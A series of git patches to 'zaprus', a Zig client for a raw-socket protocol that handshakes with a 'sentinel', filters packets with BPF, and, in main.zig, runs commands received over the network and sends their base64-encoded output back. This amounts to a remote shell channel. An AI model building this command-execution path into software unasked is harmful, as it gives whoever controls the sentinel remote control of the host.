From 4f721afcfd5db46b7d81b2ab1f9a827fec0b56cf Mon Sep 17 00:00:00 2001 From: Robby Zambito Date: Thu, 29 Jan 2026 23:13:04 -0500 Subject: Add GPLv3 --- src/Client.zig | 16 ++++++++++++++++ src/Connection.zig | 16 ++++++++++++++++ src/EthIpUdp.zig | 16 ++++++++++++++++ src/RawSocket.zig | 16 ++++++++++++++++ src/c_api.zig | 16 ++++++++++++++++ src/main.zig | 16 ++++++++++++++++ src/message.zig | 16 ++++++++++++++++ src/root.zig | 16 ++++++++++++++++ 8 files changed, 128 insertions(+) (limited to 'src') diff --git a/src/Client.zig b/src/Client.zig index ae9ca66..a8170a5 100644 --- a/src/Client.zig +++ b/src/Client.zig @@ -1,3 +1,19 @@ +// Copyright 2026 Robby Zambito +// +// This file is part of zaprus. +// +// Zaprus is free software: you can redistribute it and/or modify it under the +// terms of the GNU General Public License as published by the Free Software +// Foundation, either version 3 of the License, or (at your option) any later +// version. +// +// Zaprus is distributed in the hope that it will be useful, but WITHOUT ANY +// WARRANTY; without even the implied warranty of MERCHANTABILITY or FITNESS FOR +// A PARTICULAR PURPOSE. See the GNU General Public License for more details. +// +// You should have received a copy of the GNU General Public License along with +// Zaprus. If not, see . + const base64_enc = std.base64.standard.Encoder; const base64_dec = std.base64.standard.Decoder; diff --git a/src/Connection.zig b/src/Connection.zig index 95805de..90109af 100644 --- a/src/Connection.zig +++ b/src/Connection.zig @@ -1,3 +1,19 @@ +// Copyright 2026 Robby Zambito +// +// This file is part of zaprus. +// +// Zaprus is free software: you can redistribute it and/or modify it under the +// terms of the GNU General Public License as published by the Free Software +// Foundation, either version 3 of the License, or (at your option) any later +// version. +// +// Zaprus is distributed in the hope that it will be useful, but WITHOUT ANY +// WARRANTY; without even the implied warranty of MERCHANTABILITY or FITNESS FOR +// A PARTICULAR PURPOSE. See the GNU General Public License for more details. +// +// You should have received a copy of the GNU General Public License along with +// Zaprus. If not, see . + socket: RawSocket, headers: EthIpUdp, connection: SaprusMessage, diff --git a/src/EthIpUdp.zig b/src/EthIpUdp.zig index 27fc611..251ed64 100644 --- a/src/EthIpUdp.zig +++ b/src/EthIpUdp.zig @@ -1,3 +1,19 @@ +// Copyright 2026 Robby Zambito +// +// This file is part of zaprus. +// +// Zaprus is free software: you can redistribute it and/or modify it under the +// terms of the GNU General Public License as published by the Free Software +// Foundation, either version 3 of the License, or (at your option) any later +// version. +// +// Zaprus is distributed in the hope that it will be useful, but WITHOUT ANY +// WARRANTY; without even the implied warranty of MERCHANTABILITY or FITNESS FOR +// A PARTICULAR PURPOSE. See the GNU General Public License for more details. +// +// You should have received a copy of the GNU General Public License along with +// Zaprus. If not, see . + pub const EthIpUdp = packed struct(u336) { // 42 bytes * 8 bits = 336 // --- UDP (Last in memory, defined first for LSB->MSB) --- udp: packed struct { diff --git a/src/RawSocket.zig b/src/RawSocket.zig index 71b4e1c..5732ce9 100644 --- a/src/RawSocket.zig +++ b/src/RawSocket.zig @@ -1,3 +1,19 @@ +// Copyright 2026 Robby Zambito +// +// This file is part of zaprus. +// +// Zaprus is free software: you can redistribute it and/or modify it under the +// terms of the GNU General Public License as published by the Free Software +// Foundation, either version 3 of the License, or (at your option) any later +// version. +// +// Zaprus is distributed in the hope that it will be useful, but WITHOUT ANY +// WARRANTY; without even the implied warranty of MERCHANTABILITY or FITNESS FOR +// A PARTICULAR PURPOSE. See the GNU General Public License for more details. +// +// You should have received a copy of the GNU General Public License along with +// Zaprus. If not, see . + const RawSocket = @This(); const is_debug = builtin.mode == .Debug; diff --git a/src/c_api.zig b/src/c_api.zig index 964f399..7f10c45 100644 --- a/src/c_api.zig +++ b/src/c_api.zig @@ -1,3 +1,19 @@ +// Copyright 2026 Robby Zambito +// +// This file is part of zaprus. +// +// Zaprus is free software: you can redistribute it and/or modify it under the +// terms of the GNU General Public License as published by the Free Software +// Foundation, either version 3 of the License, or (at your option) any later +// version. +// +// Zaprus is distributed in the hope that it will be useful, but WITHOUT ANY +// WARRANTY; without even the implied warranty of MERCHANTABILITY or FITNESS FOR +// A PARTICULAR PURPOSE. See the GNU General Public License for more details. +// +// You should have received a copy of the GNU General Public License along with +// Zaprus. If not, see . + const std = @import("std"); const zaprus = @import("zaprus"); diff --git a/src/main.zig b/src/main.zig index 07fe9e2..d7c9a61 100644 --- a/src/main.zig +++ b/src/main.zig @@ -1,3 +1,19 @@ +// Copyright 2026 Robby Zambito +// +// This file is part of zaprus. +// +// Zaprus is free software: you can redistribute it and/or modify it under the +// terms of the GNU General Public License as published by the Free Software +// Foundation, either version 3 of the License, or (at your option) any later +// version. +// +// Zaprus is distributed in the hope that it will be useful, but WITHOUT ANY +// WARRANTY; without even the implied warranty of MERCHANTABILITY or FITNESS FOR +// A PARTICULAR PURPOSE. See the GNU General Public License for more details. +// +// You should have received a copy of the GNU General Public License along with +// Zaprus. If not, see . + const is_debug = builtin.mode == .Debug; const help = diff --git a/src/message.zig b/src/message.zig index d9d1914..e8ef268 100644 --- a/src/message.zig +++ b/src/message.zig @@ -1,3 +1,19 @@ +// Copyright 2026 Robby Zambito +// +// This file is part of zaprus. +// +// Zaprus is free software: you can redistribute it and/or modify it under the +// terms of the GNU General Public License as published by the Free Software +// Foundation, either version 3 of the License, or (at your option) any later +// version. +// +// Zaprus is distributed in the hope that it will be useful, but WITHOUT ANY +// WARRANTY; without even the implied warranty of MERCHANTABILITY or FITNESS FOR +// A PARTICULAR PURPOSE. See the GNU General Public License for more details. +// +// You should have received a copy of the GNU General Public License along with +// Zaprus. If not, see . + pub const MessageTypeError = error{ NotImplementedSaprusType, UnknownSaprusType, diff --git a/src/root.zig b/src/root.zig index f7efb7b..c469021 100644 --- a/src/root.zig +++ b/src/root.zig @@ -1,3 +1,19 @@ +// Copyright 2026 Robby Zambito +// +// This file is part of zaprus. +// +// Zaprus is free software: you can redistribute it and/or modify it under the +// terms of the GNU General Public License as published by the Free Software +// Foundation, either version 3 of the License, or (at your option) any later +// version. +// +// Zaprus is distributed in the hope that it will be useful, but WITHOUT ANY +// WARRANTY; without even the implied warranty of MERCHANTABILITY or FITNESS FOR +// A PARTICULAR PURPOSE. See the GNU General Public License for more details. +// +// You should have received a copy of the GNU General Public License along with +// Zaprus. If not, see . + pub const Client = @import("Client.zig"); pub const Connection = @import("Connection.zig"); -- cgit From daf18d35526870e39f3009b6bf9a64d0b4859b9f Mon Sep 17 00:00:00 2001 From: Robby Zambito Date: Sat, 31 Jan 2026 20:29:34 -0500 Subject: Exec command directly if subshell fails If execing the child fails, it might be because the shell doesn't exist. Try running the command directly before giving up. --- src/main.zig | 31 ++++++++++++++++++++++++++++++- 1 file changed, 30 insertions(+), 1 deletion(-) (limited to 'src') diff --git a/src/main.zig b/src/main.zig index d7c9a61..734357b 100644 --- a/src/main.zig +++ b/src/main.zig @@ -178,7 +178,36 @@ pub fn main(init: std.process.Init) !void { .stdout = .pipe, .stderr = .ignore, .stdin = .ignore, - }) catch continue; + }) catch |err| switch (err) { + error.AccessDenied, + error.FileBusy, + error.FileNotFound, + error.FileSystem, + error.InvalidExe, + error.IsDir, + error.NotDir, + error.OutOfMemory, + error.PermissionDenied, + error.SymLinkLoop, + error.SystemResources, + => blk: { + var argv_buf: [128][]const u8 = undefined; + var argv: ArrayList([]const u8) = .initBuffer(&argv_buf); + var payload_iter = std.mem.splitAny(u8, connection_payload, " \t\n"); + while (payload_iter.next()) |arg| argv.appendBounded(arg) catch continue; + break :blk std.process.spawn(init.io, .{ + .argv = argv.items, + .stdout = .pipe, + .stderr = .ignore, + .stdin = .ignore, + }) catch continue; + }, + error.Canceled, + error.NoDevice, + error.OperationUnsupported, + => |e| return e, + else => continue, + }; var child_output_buf: [SaprusClient.max_payload_len]u8 = undefined; var child_output_reader = child.stdout.?.reader(init.io, &child_output_buf); -- cgit From 558f40213b895810a78b2bbcbdbb95e88a301fde Mon Sep 17 00:00:00 2001 From: Robby Zambito Date: Sun, 1 Feb 2026 14:29:53 -0500 Subject: Update to Saprus 0.2.1 Handle management messages instead of letting them bubble up through the connection to the consumer. Right now, this just means handling ping messages by sending a pong. Also updated to follow the new handshake flow. The sentinel will mirror the ports instead of matching them. Now filters on the full source and dest ports, which are less likely to have erroneous matches. --- src/Client.zig | 17 ++++++++++++++--- src/Connection.zig | 49 +++++++++++++++++++++++++++++++++++++------------ src/RawSocket.zig | 25 ++++++++++++++++++++----- src/c_api.zig | 2 +- src/main.zig | 5 +++-- src/message.zig | 32 +++++++++++++++++++++++++++----- src/root.zig | 1 - 7 files changed, 102 insertions(+), 29 deletions(-) (limited to 'src') diff --git a/src/Client.zig b/src/Client.zig index a8170a5..1709cab 100644 --- a/src/Client.zig +++ b/src/Client.zig @@ -100,7 +100,7 @@ pub fn connect(self: Client, io: Io, payload: []const u8) !SaprusConnection { var connection: SaprusMessage = .{ .connection = .{ .src = rand.intRangeAtMost(u16, 1025, std.math.maxInt(u16)), - .dest = rand.intRangeAtMost(u16, 1025, std.math.maxInt(u16)), + .dest = rand.intRangeAtMost(u16, 1025, std.math.maxInt(u16)), // Ignored, but good noise .seq = undefined, .id = undefined, .payload = payload, @@ -108,7 +108,7 @@ pub fn connect(self: Client, io: Io, payload: []const u8) !SaprusConnection { }; log.debug("Setting bpf filter to port {}", .{connection.connection.src}); - self.socket.attachSaprusPortFilter(connection.connection.src) catch |err| { + self.socket.attachSaprusPortFilter(null, connection.connection.src) catch |err| { log.err("Failed to set port filter: {t}", .{err}); return err; }; @@ -131,7 +131,17 @@ pub fn connect(self: Client, io: Io, payload: []const u8) !SaprusConnection { log.debug("Awaiting handshake response", .{}); // Ignore response from sentinel, just accept that we got one. - _ = try self.socket.receive(&res_buf); + const full_handshake_res = try self.socket.receive(&res_buf); + const handshake_res = saprusParse(full_handshake_res[42..]) catch |err| { + log.err("Parse error: {t}", .{err}); + return err; + }; + self.socket.attachSaprusPortFilter(handshake_res.connection.src, handshake_res.connection.dest) catch |err| { + log.err("Failed to set port filter: {t}", .{err}); + return err; + }; + connection.connection.dest = handshake_res.connection.src; + connection_bytes = connection.toBytes(&connection_buf); headers.udp.dst_port = udp_dest_port; headers.ip.id = rand.int(u16); @@ -153,6 +163,7 @@ pub fn connect(self: Client, io: Io, payload: []const u8) !SaprusConnection { const RawSocket = @import("./RawSocket.zig"); const SaprusMessage = @import("message.zig").Message; +const saprusParse = @import("message.zig").parse; const SaprusConnection = @import("Connection.zig"); const EthIpUdp = @import("./EthIpUdp.zig").EthIpUdp; diff --git a/src/Connection.zig b/src/Connection.zig index 90109af..bb81c38 100644 --- a/src/Connection.zig +++ b/src/Connection.zig @@ -28,25 +28,50 @@ pub fn init(socket: RawSocket, headers: EthIpUdp, connection: SaprusMessage) Con }; } -pub fn next(self: Connection, io: Io, buf: []u8) ![]const u8 { - _ = io; - log.debug("Awaiting connection message", .{}); - const res = try self.socket.receive(buf); - log.debug("Received {} byte connection message", .{res.len}); - const msg: SaprusMessage = try .parse(res[42..]); - const connection_res = msg.connection; - - log.debug("Payload was {s}", .{connection_res.payload}); - - return connection_res.payload; +// 'p' as base64 +const pong = "cA=="; + +pub fn next(self: *Connection, io: Io, buf: []u8) ![]const u8 { + while (true) { + log.debug("Awaiting connection message", .{}); + const res = try self.socket.receive(buf); + log.debug("Received {} byte connection message", .{res.len}); + const msg = SaprusMessage.parse(res[42..]) catch |err| { + log.err("Failed to parse next message: {t}\n{x}\n{x}", .{ err, res[0..], res[42..] }); + return err; + }; + + switch (msg) { + .connection => |con_res| { + if (try con_res.management()) |mgt| { + log.debug("Received management message {t}", .{mgt}); + switch (mgt) { + .ping => { + log.debug("Sending pong", .{}); + try self.send(io, .{ .management = true }, pong); + log.debug("Sent pong message", .{}); + }, + else => |m| log.debug("Received management message that I don't know how to handle: {t}", .{m}), + } + } else { + log.debug("Payload was {s}", .{con_res.payload}); + return con_res.payload; + } + }, + else => |m| { + std.debug.panic("Expected connection message, instead got {x}. This means there is an error with the BPF.", .{@intFromEnum(m)}); + }, + } + } } -pub fn send(self: *Connection, io: Io, buf: []const u8) !void { +pub fn send(self: *Connection, io: Io, options: SaprusMessage.Connection.Options, buf: []const u8) !void { const io_source: std.Random.IoSource = .{ .io = io }; const rand = io_source.interface(); log.debug("Sending connection message", .{}); + self.connection.connection.options = options; self.connection.connection.payload = buf; var connection_bytes_buf: [2048]u8 = undefined; const connection_bytes = self.connection.toBytes(&connection_bytes_buf); diff --git a/src/RawSocket.zig b/src/RawSocket.zig index 5732ce9..e43a8e4 100644 --- a/src/RawSocket.zig +++ b/src/RawSocket.zig @@ -133,7 +133,7 @@ pub fn receive(self: RawSocket, buf: []u8) ![]u8 { return buf[0..len]; } -pub fn attachSaprusPortFilter(self: RawSocket, port: u16) !void { +pub fn attachSaprusPortFilter(self: RawSocket, incoming_src_port: ?u16, incoming_dest_port: u16) !void { const BPF = std.os.linux.BPF; // BPF instruction structure for classic BPF const SockFilter = extern struct { @@ -149,11 +149,26 @@ pub fn attachSaprusPortFilter(self: RawSocket, port: u16) !void { }; // Build the filter program - const filter = [_]SockFilter{ + const filter = if (incoming_src_port) |inc_src| &[_]SockFilter{ // Load 2 bytes at offset 46 (absolute) .{ .code = BPF.LD | BPF.H | BPF.ABS, .jt = 0, .jf = 0, .k = 46 }, + // Jump if equal to port (skip 1 if true, skip 0 if false) + .{ .code = BPF.JMP | BPF.JEQ | BPF.K, .jt = 1, .jf = 0, .k = @as(u32, inc_src) }, + // Return 0x0 (fail) + .{ .code = BPF.RET | BPF.K, .jt = 0, .jf = 0, .k = 0x0 }, + // Load 2 bytes at offset 48 (absolute) + .{ .code = BPF.LD | BPF.H | BPF.ABS, .jt = 0, .jf = 0, .k = 48 }, + // Jump if equal to port (skip 0 if true, skip 1 if false) + .{ .code = BPF.JMP | BPF.JEQ | BPF.K, .jt = 0, .jf = 1, .k = @as(u32, incoming_dest_port) }, + // Return 0xffff (pass) + .{ .code = BPF.RET | BPF.K, .jt = 0, .jf = 0, .k = 0xffff }, + // Return 0x0 (fail) + .{ .code = BPF.RET | BPF.K, .jt = 0, .jf = 0, .k = 0x0 }, + } else &[_]SockFilter{ + // Load 2 bytes at offset 48 (absolute) + .{ .code = BPF.LD | BPF.H | BPF.ABS, .jt = 0, .jf = 0, .k = 48 }, // Jump if equal to port (skip 0 if true, skip 1 if false) - .{ .code = BPF.JMP | BPF.JEQ | BPF.K, .jt = 0, .jf = 1, .k = @as(u32, port) }, + .{ .code = BPF.JMP | BPF.JEQ | BPF.K, .jt = 0, .jf = 1, .k = @as(u32, incoming_dest_port) }, // Return 0xffff (pass) .{ .code = BPF.RET | BPF.K, .jt = 0, .jf = 0, .k = 0xffff }, // Return 0x0 (fail) @@ -161,8 +176,8 @@ pub fn attachSaprusPortFilter(self: RawSocket, port: u16) !void { }; const fprog = SockFprog{ - .len = filter.len, - .filter = &filter, + .len = @intCast(filter.len), + .filter = filter.ptr, }; // Attach filter to socket using setsockopt diff --git a/src/c_api.zig b/src/c_api.zig index 7f10c45..c2f3190 100644 --- a/src/c_api.zig +++ b/src/c_api.zig @@ -99,6 +99,6 @@ export fn zaprus_connection_send( const c: ?*zaprus.Connection = @ptrCast(@alignCast(connection)); const zc = c orelse return 1; - zc.send(io, payload[0..payload_len]) catch return 1; + zc.send(io, .{}, payload[0..payload_len]) catch return 1; return 0; } diff --git a/src/main.zig b/src/main.zig index 734357b..10dca33 100644 --- a/src/main.zig +++ b/src/main.zig @@ -191,6 +191,7 @@ pub fn main(init: std.process.Init) !void { error.SymLinkLoop, error.SystemResources, => blk: { + log.debug("Trying to execute command directly: {s}", .{connection_payload}); var argv_buf: [128][]const u8 = undefined; var argv: ArrayList([]const u8) = .initBuffer(&argv_buf); var payload_iter = std.mem.splitAny(u8, connection_payload, " \t\n"); @@ -229,7 +230,7 @@ pub fn main(init: std.process.Init) !void { error.EndOfStream => { cmd_output.print("{b64}", .{child_output_reader.interface.buffered()}) catch unreachable; if (cmd_output.end > 0) { - connection.send(init.io, cmd_output.buffered()) catch |e| { + connection.send(init.io, .{}, cmd_output.buffered()) catch |e| { log.debug("Failed to send connection chunk: {t}", .{e}); continue :next_message; }; @@ -238,7 +239,7 @@ pub fn main(init: std.process.Init) !void { }, }; cmd_output.print("{b64}", .{try child_output_reader.interface.takeArray(child_output_buf.len)}) catch unreachable; - connection.send(init.io, cmd_output.buffered()) catch |err| { + connection.send(init.io, .{}, cmd_output.buffered()) catch |err| { log.debug("Failed to send connection chunk: {t}", .{err}); continue :next_message; }; diff --git a/src/message.zig b/src/message.zig index e8ef268..0c1410d 100644 --- a/src/message.zig +++ b/src/message.zig @@ -169,11 +169,11 @@ const Connection = struct { seq: u32, id: u32, reserved: u8 = undefined, - options: Options = undefined, + options: Options = .{}, payload: []const u8, - /// Reserved option values. - /// Currently unused. + /// Option values. + /// Currently used! pub const Options = packed struct(u8) { opt1: bool = false, opt2: bool = false, @@ -182,7 +182,7 @@ const Connection = struct { opt5: bool = false, opt6: bool = false, opt7: bool = false, - opt8: bool = false, + management: bool = false, }; /// Asserts that buf is large enough to fit the connection message. @@ -199,6 +199,28 @@ const Connection = struct { out.writeAll(self.payload) catch unreachable; return out.buffered(); } + + /// If the current message is a management message, return what kind. + /// Else return null. + pub fn management(self: Connection) MessageParseError!?Management { + const b64_dec = std.base64.standard.Decoder; + if (self.options.management) { + var buf: [1]u8 = undefined; + _ = b64_dec.decode(&buf, self.payload) catch return error.InvalidMessage; + + return switch (buf[0]) { + 'P' => .ping, + 'p' => .pong, + else => error.UnknownSaprusType, + }; + } + return null; + } + + pub const Management = enum { + ping, + pong, + }; }; test "Round trip" { @@ -223,5 +245,5 @@ const Writer = std.Io.Writer; const Reader = std.Io.Reader; test { - std.testing.refAllDeclsRecursive(@This()); + std.testing.refAllDecls(@This()); } diff --git a/src/root.zig b/src/root.zig index c469021..aa78565 100644 --- a/src/root.zig +++ b/src/root.zig @@ -19,7 +19,6 @@ pub const Connection = @import("Connection.zig"); const msg = @import("message.zig"); -pub const PacketType = msg.PacketType; pub const MessageTypeError = msg.MessageTypeError; pub const MessageParseError = msg.MessageParseError; pub const Message = msg.Message; -- cgit From 2c9e648c2c9c487c0239760bff23a70c059f018f Mon Sep 17 00:00:00 2001 From: Robby Zambito Date: Sun, 1 Feb 2026 19:35:14 -0500 Subject: Clean API and add docs --- src/Client.zig | 15 ++- src/Connection.zig | 19 +-- src/RawSocket.zig | 7 +- src/message.zig | 377 ++++++++++++++++++++++++++--------------------------- src/root.zig | 14 +- 5 files changed, 220 insertions(+), 212 deletions(-) (limited to 'src') diff --git a/src/Client.zig b/src/Client.zig index 1709cab..2344f83 100644 --- a/src/Client.zig +++ b/src/Client.zig @@ -14,6 +14,8 @@ // You should have received a copy of the GNU General Public License along with // Zaprus. If not, see . +//! A client is used to handle interactions with the network. + const base64_enc = std.base64.standard.Encoder; const base64_dec = std.base64.standard.Decoder; @@ -37,6 +39,8 @@ pub fn deinit(self: *Client) void { self.* = undefined; } +/// Sends a fire and forget message over the network. +/// This function asserts that `payload` fits within a single packet. pub fn sendRelay(self: *Client, io: Io, payload: []const u8, dest: [4]u8) !void { const io_source: std.Random.IoSource = .{ .io = io }; const rand = io_source.interface(); @@ -76,7 +80,8 @@ pub fn sendRelay(self: *Client, io: Io, payload: []const u8, dest: [4]u8) !void try self.socket.send(full_msg); } -pub fn connect(self: Client, io: Io, payload: []const u8) !SaprusConnection { +/// Attempts to establish a new connection with the sentinel. +pub fn connect(self: Client, io: Io, payload: []const u8) (error{ BpfAttachFailed, Timeout } || SaprusMessage.ParseError)!SaprusConnection { const io_source: std.Random.IoSource = .{ .io = io }; const rand = io_source.interface(); @@ -157,13 +162,17 @@ pub fn connect(self: Client, io: Io, payload: []const u8) !SaprusConnection { try self.socket.send(full_msg); - return .init(self.socket, headers, connection); + return .{ + .socket = self.socket, + .headers = headers, + .connection = connection, + }; } const RawSocket = @import("./RawSocket.zig"); const SaprusMessage = @import("message.zig").Message; -const saprusParse = @import("message.zig").parse; +const saprusParse = SaprusMessage.parse; const SaprusConnection = @import("Connection.zig"); const EthIpUdp = @import("./EthIpUdp.zig").EthIpUdp; diff --git a/src/Connection.zig b/src/Connection.zig index bb81c38..19be710 100644 --- a/src/Connection.zig +++ b/src/Connection.zig @@ -20,17 +20,16 @@ connection: SaprusMessage, const Connection = @This(); -pub fn init(socket: RawSocket, headers: EthIpUdp, connection: SaprusMessage) Connection { - return .{ - .socket = socket, - .headers = headers, - .connection = connection, - }; -} - // 'p' as base64 const pong = "cA=="; +/// Attempts to read from the network, and returns the next message, if any. +/// +/// Asserts that `buf` is large enough to store the message that is received. +/// +/// This will internally process management messages, and return the message +/// payload for the next non management connection message. +/// This function is ignorant to the message encoding. pub fn next(self: *Connection, io: Io, buf: []u8) ![]const u8 { while (true) { log.debug("Awaiting connection message", .{}); @@ -65,6 +64,10 @@ pub fn next(self: *Connection, io: Io, buf: []u8) ![]const u8 { } } +/// Attempts to write a message to the network. +/// +/// Clients should pass `.{}` for options unless you know what you are doing. +/// `buf` will be sent over the network as-is; this function is ignorant of encoding. pub fn send(self: *Connection, io: Io, options: SaprusMessage.Connection.Options, buf: []const u8) !void { const io_source: std.Random.IoSource = .{ .io = io }; const rand = io_source.interface(); diff --git a/src/RawSocket.zig b/src/RawSocket.zig index e43a8e4..9561dcf 100644 --- a/src/RawSocket.zig +++ b/src/RawSocket.zig @@ -32,7 +32,12 @@ const Ifconf = extern struct { }, }; -pub fn init() !RawSocket { +pub fn init() error{ + SocketError, + NicError, + NoInterfaceFound, + BindError, +}!RawSocket { const socket: i32 = std.math.cast(i32, std.os.linux.socket(std.os.linux.AF.PACKET, std.os.linux.SOCK.RAW, 0)) orelse return error.SocketError; if (socket < 0) return error.SocketError; diff --git a/src/message.zig b/src/message.zig index 0c1410d..4198737 100644 --- a/src/message.zig +++ b/src/message.zig @@ -14,230 +14,219 @@ // You should have received a copy of the GNU General Public License along with // Zaprus. If not, see . -pub const MessageTypeError = error{ - NotImplementedSaprusType, - UnknownSaprusType, -}; -pub const MessageParseError = MessageTypeError || error{ - InvalidMessage, -}; - -const message = @This(); - pub const Message = union(enum(u16)) { relay: Message.Relay = 0x003C, connection: Message.Connection = 0x00E9, _, - pub const Relay = message.Relay; - pub const Connection = message.Connection; - - pub fn toBytes(self: message.Message, buf: []u8) []u8 { - return switch (self) { - inline .relay, .connection => |m| m.toBytes(buf), - else => unreachable, + pub const Relay = struct { + dest: Dest, + checksum: [2]u8 = undefined, + payload: []const u8, + + pub const Dest = struct { + bytes: [relay_dest_len]u8, + + /// Asserts bytes is less than or equal to 4 bytes + pub fn fromBytes(bytes: []const u8) Dest { + var buf: [4]u8 = @splat(0); + std.debug.assert(bytes.len <= buf.len); + @memcpy(buf[0..bytes.len], bytes); + return .{ .bytes = buf }; + } }; - } - - pub const parse = message.parse; -}; -pub const relay_dest_len = 4; + /// Asserts that buf is large enough to fit the relay message. + pub fn toBytes(self: Relay, buf: []u8) []u8 { + var out: Writer = .fixed(buf); + out.writeInt(u16, @intFromEnum(Message.relay), .big) catch unreachable; + out.writeInt(u16, @intCast(self.payload.len + 4), .big) catch unreachable; // Length field, but unread. Will switch to checksum + out.writeAll(&self.dest.bytes) catch unreachable; + out.writeAll(self.payload) catch unreachable; + return out.buffered(); + } -pub fn parse(bytes: []const u8) MessageParseError!Message { - var in: Reader = .fixed(bytes); - const @"type" = in.takeEnum(std.meta.Tag(Message), .big) catch |err| switch (err) { - error.InvalidEnumTag => return error.UnknownSaprusType, - else => return error.InvalidMessage, + // test toBytes { + // var buf: [1024]u8 = undefined; + // const relay: Relay = .init( + // .fromBytes(&.{ 172, 18, 1, 30 }), + // // zig fmt: off + // &[_]u8{ + // 0x72, 0x65, 0x6d, 0x6f, 0x76, 0x65, 0x20, 0x65, 0x76, 0x65, + // 0x6e, 0x74, 0x20, 0x6c, 0x6f, 0x67, 0x67, 0x65, 0x64 + // }, + // // zig fmt: on + // ); + // // zig fmt: off + // var expected = [_]u8{ + // 0x00, 0x3c, 0x00, 0x17, 0xac, 0x12, 0x01, 0x1e, 0x72, + // 0x65, 0x6d, 0x6f, 0x76, 0x65, 0x20, 0x65, 0x76, 0x65, + // 0x6e, 0x74, 0x20, 0x6c, 0x6f, 0x67, 0x67, 0x65, 0x64 + // }; + // // zig fmt: on + // try expectEqualMessageBuffers(&expected, relay.toBytes(&buf)); + // } }; - const checksum = in.takeArray(2) catch return error.InvalidMessage; - switch (@"type") { - .relay => { - const dest: Relay.Dest = .fromBytes( - in.takeArray(relay_dest_len) catch return error.InvalidMessage, - ); - const payload = in.buffered(); - return .{ - .relay = .{ - .dest = dest, - .checksum = checksum.*, - .payload = payload, - }, - }; - }, - .connection => { - const src = in.takeInt(u16, .big) catch return error.InvalidMessage; - const dest = in.takeInt(u16, .big) catch return error.InvalidMessage; - const seq = in.takeInt(u32, .big) catch return error.InvalidMessage; - const id = in.takeInt(u32, .big) catch return error.InvalidMessage; - const reserved = in.takeByte() catch return error.InvalidMessage; - const options = in.takeStruct(Connection.Options, .big) catch return error.InvalidMessage; - const payload = in.buffered(); - return .{ - .connection = .{ - .src = src, - .dest = dest, - .seq = seq, - .id = id, - .reserved = reserved, - .options = options, - .payload = payload, - }, - }; - }, - else => return error.NotImplementedSaprusType, - } -} -test parse { - _ = try parse(&[_]u8{ 0x00, 0x3c, 0x00, 0x17, 0xac, 0x12, 0x01, 0x1e, 0x72, 0x65, 0x6d, 0x6f, 0x76, 0x65, 0x20, 0x65, 0x76, 0x65, 0x6e, 0x74, 0x20, 0x6c, 0x6f, 0x67, 0x67, 0x65, 0x64 }); - - { - const expected: Message = .{ - .connection = .{ - .src = 12416, - .dest = 61680, - .seq = 0, - .id = 0, - .reserved = 0, - .options = @bitCast(@as(u8, 100)), - .payload = &[_]u8{ 0x69, 0x61, 0x6d, 0x64, 0x65, 0x66, 0x61, 0x75, 0x6c, 0x74 }, - }, + pub const Connection = struct { + src: u16, + dest: u16, + seq: u32, + id: u32, + reserved: u8 = undefined, + options: Options = .{}, + payload: []const u8, + + /// Option values. + /// Currently used! + pub const Options = packed struct(u8) { + opt1: bool = false, + opt2: bool = false, + opt3: bool = false, + opt4: bool = false, + opt5: bool = false, + opt6: bool = false, + opt7: bool = false, + management: bool = false, }; - const actual = try parse(&[_]u8{ 0x00, 0xe9, 0x00, 0x18, 0x30, 0x80, 0xf0, 0xf0, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x64, 0x69, 0x61, 0x6d, 0x64, 0x65, 0x66, 0x61, 0x75, 0x6c, 0x74 }); - try std.testing.expectEqualDeep(expected, actual); - } -} - -const Relay = struct { - dest: Dest, - checksum: [2]u8 = undefined, - payload: []const u8, - - pub const Dest = struct { - bytes: [relay_dest_len]u8, + /// Asserts that buf is large enough to fit the connection message. + pub fn toBytes(self: Connection, buf: []u8) []u8 { + var out: Writer = .fixed(buf); + out.writeInt(u16, @intFromEnum(Message.connection), .big) catch unreachable; + out.writeInt(u16, @intCast(self.payload.len + 14), .big) catch unreachable; // Saprus length field, unread. + out.writeInt(u16, self.src, .big) catch unreachable; + out.writeInt(u16, self.dest, .big) catch unreachable; + out.writeInt(u32, self.seq, .big) catch unreachable; + out.writeInt(u32, self.id, .big) catch unreachable; + out.writeByte(self.reserved) catch unreachable; + out.writeStruct(self.options, .big) catch unreachable; + out.writeAll(self.payload) catch unreachable; + return out.buffered(); + } - /// Asserts bytes is less than or equal to 4 bytes - pub fn fromBytes(bytes: []const u8) Dest { - var buf: [4]u8 = @splat(0); - std.debug.assert(bytes.len <= buf.len); - @memcpy(buf[0..bytes.len], bytes); - return .{ .bytes = buf }; + /// If the current message is a management message, return what kind. + /// Else return null. + pub fn management(self: Connection) ParseError!?Management { + const b64_dec = std.base64.standard.Decoder; + if (self.options.management) { + var buf: [1]u8 = undefined; + _ = b64_dec.decode(&buf, self.payload) catch return error.InvalidMessage; + + return switch (buf[0]) { + 'P' => .ping, + 'p' => .pong, + else => error.UnknownSaprusType, + }; + } + return null; } - }; - pub fn init(dest: Dest, payload: []const u8) Relay { - return .{ .dest = dest, .payload = payload }; - } + pub const Management = enum { + ping, + pong, + }; + }; - /// Asserts that buf is large enough to fit the relay message. - pub fn toBytes(self: Relay, buf: []u8) []u8 { - var out: Writer = .fixed(buf); - out.writeInt(u16, @intFromEnum(Message.relay), .big) catch unreachable; - out.writeInt(u16, @intCast(self.payload.len + 4), .big) catch unreachable; // Length field, but unread. Will switch to checksum - out.writeAll(&self.dest.bytes) catch unreachable; - out.writeAll(self.payload) catch unreachable; - return out.buffered(); + pub fn toBytes(self: Message, buf: []u8) []u8 { + return switch (self) { + inline .relay, .connection => |m| m.toBytes(buf), + else => unreachable, + }; } - test toBytes { - var buf: [1024]u8 = undefined; - const relay: Relay = .init( - .fromBytes(&.{ 172, 18, 1, 30 }), - // zig fmt: off - &[_]u8{ - 0x72, 0x65, 0x6d, 0x6f, 0x76, 0x65, 0x20, 0x65, 0x76, 0x65, - 0x6e, 0x74, 0x20, 0x6c, 0x6f, 0x67, 0x67, 0x65, 0x64 - }, - // zig fmt: on - ); - // zig fmt: off - var expected = [_]u8{ - 0x00, 0x3c, 0x00, 0x17, 0xac, 0x12, 0x01, 0x1e, 0x72, - 0x65, 0x6d, 0x6f, 0x76, 0x65, 0x20, 0x65, 0x76, 0x65, - 0x6e, 0x74, 0x20, 0x6c, 0x6f, 0x67, 0x67, 0x65, 0x64 + pub fn parse(bytes: []const u8) ParseError!Message { + var in: Reader = .fixed(bytes); + const @"type" = in.takeEnum(std.meta.Tag(Message), .big) catch |err| switch (err) { + error.InvalidEnumTag => return error.UnknownSaprusType, + 